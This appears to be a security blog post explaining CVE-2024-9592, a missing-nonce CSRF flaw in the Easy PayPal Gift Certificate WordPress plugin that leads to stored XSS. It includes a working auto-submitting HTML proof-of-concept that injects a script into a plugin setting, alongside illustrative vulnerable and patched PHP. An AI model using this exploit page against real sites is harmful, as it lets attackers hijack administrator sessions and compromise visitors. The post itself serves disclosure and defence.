Security holes in WordPress plugins keep popping up, and the Easy PayPal Gift Certificate plugin is the latest example. Tracked as CVE-2024-9592, this vulnerability allows attackers to hijack website settings and insert malicious scripts. This post explains the bug, how it can be exploited, and what you should do to stay safe—all in simple terms.

What Is Easy PayPal Gift Certificate?

Easy PayPal Gift Certificate is a WordPress plugin that lets site owners sell PayPal gift certificates right on their websites. It’s used on hundreds of websites to provide a simple checkout process through PayPal.

About the Vulnerability

CVE-2024-9592 affects Easy PayPal Gift Certificate versions up to and including 1.2.3. The plugin fails to properly check for a valid WordPress nonce in its wpppgc_plugin_options function. Nonces are tokens that help protect against Cross-Site Request Forgery (CSRF).

Because the nonce check is missing or incorrect, it’s possible for an attacker to trick an admin into submitting requests on their behalf.

What Can Go Wrong?

If you’re logged into your WordPress website as an admin, and you click a specially crafted link, an attacker could:

Inject malicious JavaScript (often called Stored Cross-Site Scripting, or XSS)

- Use this injected script to steal your cookies, perform actions as you, or compromise website visitors

All of this can be done without any direct access by the attacker, as long as they can trick an admin into clicking a link or loading a page.

Let’s break it down step-by-step

1. The attacker crafts a malicious HTML page that sends a POST request to the vulnerable plugin settings endpoint.
2. The admin visits the attacker’s page (for example, by clicking a malicious link in an email or comment).

Here’s a simple HTML “exploit” page for this vulnerability

<!DOCTYPE html>
<html>
  <body>
    <form action="https://victim-site.com/wp-admin/options-general.php?page=wpppgc_plugin_options"; method="POST" id="csrfForm">
      <input type="hidden" name="some_plugin_setting" value="anything" />
      <input type="hidden" name="wpppgc_header_text" value="<script>alert('Hacked!');</script>" />
      <input type="hidden" name="wpppgc_save" value="Save" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

Original References

- Wordfence Advisory
- WPScan Entry
- NIST NVD: CVE-2024-9592

Here’s what the vulnerable code might look like conceptually

function wpppgc_plugin_options() {
    // No check for check_admin_referer() or any nonce validation!
    if (isset($_POST['wpppgc_save'])) {
        $header_text = $_POST['wpppgc_header_text'];
        update_option('wpppgc_header_text', $header_text);
        // ... more settings updated
    }
}

If a plugin developer had added proper protection, it would look more like

function wpppgc_plugin_options() {
    if (isset($_POST['wpppgc_save'])) {
        check_admin_referer('wpppgc_plugin_options_save');
        // Save options safely
    }
}

The key line is check_admin_referer() which blocks requests without the right nonce.

Conclusion

CVE-2024-9592 is a simple, but dangerous, bug in the Easy PayPal Gift Certificate plugin for WordPress. It shows why security checks like nonces are so important. If you use this plugin, update or disable it now! Stay alert and stay secure.


If you want more details, check the original advisories linked above. Always keep your plugins updated and your finger on the pulse for new WordPress security issues.

Timeline

Published on: 10/12/2024 03:15:02 UTC